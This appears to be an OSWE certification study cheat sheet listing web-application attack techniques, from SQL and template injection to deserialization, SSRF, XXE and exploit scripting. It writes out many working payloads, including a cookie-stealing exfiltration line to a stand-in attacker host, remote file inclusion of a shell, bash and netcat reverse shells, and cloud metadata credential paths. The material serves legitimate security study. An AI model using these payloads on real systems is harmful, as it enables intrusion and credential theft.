OSWE cheat sheet
OSWE · Keep the key ideas within reach.
Source Code Analysis and Web Application Reconnaissance
Taint analysis needs three elements: a source (GET/POST/cookie/header/upload/database), a sink (eval, system, include, unserialize, a query string), and the absence of a sanitizer on a reachable path between them.
PHP superglobals are all attacker-controlled: $_GET, $_POST, $_COOKIE, $_REQUEST (merges GET, POST and COOKIE by default), $_FILES names, and $SERVER['HTTP*'] header values.
Grep sink list: eval, assert, system, exec, shell_exec, passthru, popen, proc_open, include/require(_once), unserialize, file_get_contents, curl_exec, header(), innerHTML, dangerouslySetInnerHTML, document.write.
Semgrep/CodeQL rules declare pattern-sources, pattern-sinks and pattern-sanitizers; taint mode propagates through assignments, concatenation and function returns, not only direct calls.
Exposed VCS artefacts: /.git/HEAD, /.git/config, /.svn/entries, /.hg/; a readable /.git/config confirms a dumpable repository, after which git-dumper rebuilds the working tree.
Backup and editor artefacts: index.php.bak, .old, .orig, .save, trailing ~, .swp, .DS_Store; robots.txt, sitemap.xml and /.well-known/ list paths that are never linked in the UI.
Default cookie names fingerprint the stack: PHPSESSID (PHP), JSESSIONID (Java), ASP.NET_SessionId, connect.sid (Express), laravel_session, ci_session.
API discovery: send OPTIONS and read the Allow header; probe /swagger.json, /openapi.json, /api-docs, and /graphql with the introspection query {__schema{types{name}}}.
Brute-force triage by status code: 200 = present, 301/302 = directory or redirect, 401/403 = exists but restricted, 404 = absent, 500 = possibly injectable parameter.
Authentication, Session Management, and Access Control Flaws
Vertical access control = role escalation (user to admin); horizontal = same role reaching another user's object; context-dependent = workflow state or multi-step preconditions.
IDOR test matrix: increment/decrement identifiers, swap UUIDs harvested elsewhere, change the HTTP method, duplicate parameters (?id=1&id=2), and move the parameter from body to path.
JWT = base64url(header).base64url(payload).signature; accepting "alg":"none" and RS256-to-HS256 confusion (public key used as the HMAC secret) are the two classic forgeries.
The JWT kid header is frequently used in file paths or queries: ../../../../dev/null forces an empty HMAC key, and SQL injection in kid can return an attacker-chosen key.
Session fixation is confirmed when the Set-Cookie value issued before authentication is still accepted afterwards; identifiers must be rotated on any privilege change.
Cookie attributes: HttpOnly removes document.cookie visibility, Secure restricts transport to HTTPS, SameSite=Lax blocks cross-site POST but permits top-level GET navigation.
PHP type juggling: '0e123' == '0e456' is true (both evaluate as numeric zero), and param[]=x converts a string comparison into an array comparison that returns false or errors.
Password reset weaknesses: token = md5(email), md5(timestamp), or a short numeric OTP; Host header injection into the reset link delivers the token to an attacker-controlled domain.
Session ID strength rule: at least 64 bits of CSPRNG entropy; sequential or timestamp-derived identifiers are predictable and enumerable.
Injection Vulnerabilities (SQL, NoSQL, LDAP, OS Command)
UNION-based SQLi requires equal column counts: raise ORDER BY n until an error occurs, then match types (integers accept NULL) before extracting data.
Comment and version syntax: MySQL #, --, //; PostgreSQL and Oracle --; MSSQL -- and //; @@version (MySQL/MSSQL), version() (PostgreSQL), v$version (Oracle).
Blind time delays: SLEEP(5) MySQL, pg_sleep(5) PostgreSQL, WAITFOR DELAY '0:0:5' MSSQL, dbms_pipe.receive_message(('a'),5) Oracle.
Second-order SQLi: the payload is stored safely and concatenated into a query later (profile update feeding an admin report), so input-time filtering provides no protection.
NoSQL (MongoDB): {"$ne":null} or {"$gt":""} as a password matches any value; $regex enables character-by-character extraction; $where executes JavaScript server-side.
LDAP filter metacharacters are * ( ) backslash and NUL, escaped as \2a \28 \29 \5c \00; a typical injection shape is )(uid=))(|(uid=*.
OS command separators: ; | || & && newline, backticks and $(); blind confirmation via sleep 5, ping -c 2 , or curl to a controlled host.
escapeshellcmd escapes metacharacters but does not quote arguments, so extra flags can be injected; escapeshellarg quotes the entire argument and is the safe choice.
WAF bypass primitives: case mixing, inline versioned comments /!50000SELECT/, hex literals 0x4142, CHAR()/CONCAT(), and URL or double-URL encoding.
Cross-Site Scripting and Client-Side Attack Chaining
Encoding must match context: HTML body needs < >, attribute values need quotes escaped, JavaScript string literals need \x3c or \u003c, and URL context needs percent-encoding.
DOM sinks: innerHTML, outerHTML, insertAdjacentHTML, document.write, eval, setTimeout/setInterval with a string, location assignments, and jQuery $(html) or .html().
HttpOnly blocks cookie theft but not action: injected script can read CSRF tokens from the DOM and issue same-origin authenticated requests, bypassing SameSite=Lax.
CSP directives to inspect: default-src, script-src, object-src, base-uri; 'unsafe-inline' defeats script-src, and a missing base-uri allows hijacking of relative script URLs.
CSP bypass routes: JSONP endpoints on whitelisted hosts, AngularJS library gadgets with sandbox escapes, open redirects on whitelisted domains, and user-uploaded JS served from a CDN.
Filter evasion: HTML entity and double encoding, alternate tags (svg/onload, img onerror), mixed-case event names, and mutation XSS where sanitizer output re-parses differently.
Exfiltration patterns: new Image().src='//attacker/?c='+btoa(document.cookie); fetching same-origin endpoints avoids CORS restrictions entirely.
Stored XSS is the highest-value primitive: it executes in the admin context, enabling privilege escalation, forced account changes, and pivoting into internal panels.
Reflected and self-XSS require victim interaction, while DOM XSS leaves no server-side log, so detection depends on reviewing client-side sources and sinks.
File Handling Flaws (Upload, Path Traversal, Local/Remote File Inclusion)
Traversal payload forms: ../, ..%2f, %2e%2e%2f, ..%5c (Windows), and ....// variants that survive single-pass stripping; %00 truncation applies to PHP below 5.3.4.
High-value absolute targets: /etc/passwd, /etc/shadow, /proc/self/environ, /proc/self/cmdline, C:\Windows\win.ini, web.config, .env, and id_rsa keys.
PHP wrappers: php://filter/convert.base64-encode/resource=index.php for source disclosure, php://input, data://text/plain;base64,..., zip://, phar:// (triggers deserialization), expect:// (needs the extension).
LFI-to-RCE paths: log poisoning of access.log or /var/log/auth.log, /proc/self/environ via User-Agent, session file inclusion, and including an uploaded image containing PHP.
RFI requires allow_url_include=On; the parameter must accept a full URL such as http://attacker/shell.txt and the response reflects the executed output.
Upload bypass checklist: Content-Type spoofing, extension blacklist gaps (.phtml, .php5, .php7, .phar, .inc), .htaccess re-mapping, trailing dot or space on Windows, and a GIF89a magic-byte prefix.
Zip Slip: an archive entry named ../../etc/cron.d/x is written outside the extraction directory when the extractor concatenates entry names without canonicalizing the resolved path.
Write-then-include is the standard chain: upload a benign-extension file and include it through LFI to execute it, provided the upload directory is web-readable.
Path resolution shortcuts: /proc/self/cwd/ resolves to the process working directory and /proc/self/fd/N to open file descriptors, useful when the document root is unknown.
Deserialization and Server-Side Template Injection
PHP unserialize triggers __wakeup, __destruct, __toString and __call; a POP chain strings these across loaded classes to reach a sink such as system() or file_put_contents().
phar:// triggers PHP deserialization on any file operation (file_exists, filesize, getimagesize), so a phar file uploaded as an image becomes a deserialization vector.
Java endpoints read objects with ObjectInputStream; use ysoserial URLDNS to detect the flaw on gadget-free classpaths, then CommonsCollections or Spring chains for execution.
Python pickle.loads executes reduce, which can return (os.system, ('id',)); yaml.load is equivalent, whereas yaml.safe_load only constructs basic types.
.NET BinaryFormatter and TypeConfuseDelegate chains are generated with ysoserial.net; ASP.NET ViewState deserialization with a disclosed machineKey is the equivalent primitive.
SSTI probes: ${77} and {{77}} returning 49, while the polyglot ${{<%[%'"}}%\ produces distinctive engine errors; #{7*7} indicates Ruby or Java EL.
Jinja2: {{config}}, {{''.class.mro[1].subclasses()}}, and {{cycler.init.globals.os.popen('id').read()}} reach command execution.
Twig: {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}; FreeMarker: <#assign ex='freemarker.template.utility.Execute'?new()>${ex('id')}.
Sandbox escape requires reaching an object graph; blocking __ and dots rarely suffices because attribute access can be rebuilt with |attr, request.args, or dict indexing.
SSRF and XML External Entity Processing
SSRF loopback and internal targets: 127.0.0.1, [::1], localhost, 0.0.0.0, and the internal ranges 10/8, 172.16/12, 192.168/16, plus admin panels bound to 127.0.0.1:port.
Cloud metadata: AWS 169.254.169.254/latest/meta-data/iam/security-credentials/, GCP metadata.google.internal with Metadata-Flavor: Google, Azure 169.254.169.254/metadata with Metadata: true.
IP encoding bypasses: decimal 2130706433, octal 0177.0.0.1, hex 0x7f000001, shortened 127.1, IPv6-mapped ::ffff:127.0.0.1, and DNS names that resolve to loopback.
Redirects and DNS rebinding defeat allowlist checks: the validator resolves one address while the fetch follows a 302 or a rebinding A record to an internal host.
gopher:// crafts arbitrary TCP payloads (including HTTP with CRLF) for SSRF-to-Redis or MySQL attacks; file:// reads local files and dict:// probes services.
XXE entity: ]> referenced as &xxe; in a reflected field; PHP parsing requires libxml below 2.9 or LIBXML_NOENT.
Blind XXE uses an external parameter entity (%xxe;) hosting a DTD that builds a URL containing file content, exfiltrating through DNS or HTTP to an attacker listener.
XXE injection points: SOAP endpoints, SVG uploads, DOCX/XLSX parsing, SAML assertions, and RSS importers - any XML parser with external entity resolution enabled.
Mitigations to look for: libxml_disable_entity_loader(true), XMLConstants.FEATURE_SECURE_PROCESSING, or defusedxml in Python; their absence is the finding.
Business Logic and Authorization Bypass
Race conditions target check-then-act logic: parallel coupon redemption, withdrawal, or OTP validation requests; HTTP/2 single-packet attacks align their arrival at the server.
Price and quantity tampering: negative amounts, zero price, integer overflow, currency rounding, and client-supplied totals accepted without server-side recomputation.
Workflow step skipping: call /checkout/confirm or /order/complete directly, bypassing a payment step that only the interface enforces.
Mass assignment: add role=admin, isAdmin=true, or verified=1 to a JSON or form body when the framework binds request parameters to model fields without an allowlist.
Missing function-level authorization: the route is hidden in the UI but reachable; test every admin endpoint with a low-privilege session and across GET, POST, PUT and DELETE.
Verification bypass: change the email after verification, replay the token, or tamper with the response body or status from {"verified":false} to true.
GraphQL specifics: introspection reveals the full schema, batching or aliasing sends many OTP guesses in one request, and authorization must be enforced per resolver field.
Replay and idempotency: one-time tokens, password-reset links and gift cards must be invalidated server-side after first use; unlimited trials are bypassed with plus-addressing (user+1@).
Custom Exploit Scripting and Vulnerability Chaining
Python requests: Session() persists cookies and headers, proxies={'http':'http://127.0.0.1:8080'} routes traffic through an intercepting proxy, verify=False disables TLS checks, and allow_redirects=False exposes 302 responses.
Boolean blind extraction: binary-search each character with substring()/ASCII() comparisons, which needs roughly 7 requests per byte versus about 95 for linear scanning.
Time-based extraction requires a baseline: measure the unmodified response time, use a delay well above observed jitter (2-5 s), and repeat each candidate to reject false positives.
Race harness: threading.Barrier plus ThreadPoolExecutor(max_workers=N) releases all requests simultaneously; an HTTP/2 single-packet attack removes remaining network jitter.
Out-of-band confirmation: interactsh or Collaborator generates unique subdomains; poll for DNS and HTTP hits to confirm blind SSRF, XXE and command injection.
Shell payload forms: bash -i >& /dev/tcp/HOST/PORT 0>&1, nc -e /bin/sh, and python3 -c 'import pty;pty.spawn("/bin/sh")' for a TTY upgraded with stty raw -echo.
Chaining discipline: record the precondition, the primitive gained and the pivot for each step; a typical chain is auth bypass, IDOR or source disclosure, file write, inclusion, then RCE.
Encoding helpers: urllib.parse.quote for URL context, base64 for binary-safe transport, and unescaping when parsing responses; double-encode when the filter decodes twice.